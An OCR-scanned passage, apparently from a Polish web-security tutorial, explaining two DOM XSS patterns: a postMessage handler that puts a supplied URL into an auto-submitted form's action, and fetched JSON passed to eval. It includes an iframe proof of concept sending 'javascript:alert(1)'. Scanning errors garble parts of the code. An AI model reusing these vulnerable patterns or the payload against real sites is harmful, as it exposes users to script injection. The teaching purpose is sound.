const form = document.createElement('form');
form.action = url;
document.body.appendChild(form);
form. submit();

})s;



ANALIZA:

FRAGMENT
KODU:

ANALIZA:

Stowo wyjasnienia do tego przykladu: w aplikacji obstugiwane jest zdarzenie
onmessage. Wykorzystywany jest tutaj przegladarkowy mechanizm komu-
nikacji miedzy réznymi ramkami zwany postMessage. Umozliwia on asyn-
chroniczng komunikacje pomiedzy dwiema ramkami na stronie. Wowczas
jedna ramka moze wysta¢ wiadomosc:

frame.postMessage(obj, '*")

a w drugiej ramce zostanie wyzwolone zdarzenie:

window.addEventListener('message', ev => {
// Pole ev.data zawiera to samo, co obj
// w wywokaniu postMessage

});

Jest to zatem jeden ze sposobow na przekazywanie danych do kodu JS.

W przykladowym, podatnym kodzie pobierana jest wiasciwosc url z obiektu
przekazywanego przez postMessage. Dalej tworzony jest obiekt typu <form>,
w ktorym przypisywane jest pole action, a nastepnie formularz jest auto-
matycznie wysylany. Niebezpieczenstwo wystepuje w przypisaniu do action
— jest to jedno z miejsc, ktore przyjmuje adres URL, a zatem mozliwe jest
przekazanie protokolu javascript:. Praktyczne wykorzystanie podatnosci
mogloby wiec polegac¢ na umieszczeniu podatnej strony w elemencie <iframe>
i wykonaniu do niego postMessage, np.:

<iframe src="podatna-strona.html" onload=attack()></iframe>
<script>
function attack() {
frames[@].postMessage({
url: 'javascript:alert(1)'
| P H
}

</script>

PRZYKLAD: FETCH | EVAL

async function vulnerable() {
const f = await fetch('pewna-strona.json');
const json = await f.json();

eval(json.name);

}

Ten przyklad rézni sie od pozostalych, poniewaz musza zosta¢ spelnione
jeszcze dodatkowe warunki, niewidoczne bezposrednio w analizowanym
fragmencie kodu, by w aplikacji wystapit XSS. Aplikacja pobiera pewnego
JSON-a, z ktorego nastepnie wycigga pole name i przekazuje bezposrednio
jako argument funkcji eval. W tym przykladzie jest potencjat na XSS, ale
jego wykorzystanie bedzie mozliwe tylko wtedy, jesli uzytkownik (np. przez
inng funkcjonalnos¢ aplikacji) bedzie mial kontrole nad tym, co znajduje sie
w polu name. Jesli okaze sie, ze tak, to wykorzystanie XSS sprowadza sie do
ustawienia wartosci alert(1) w tym polu.
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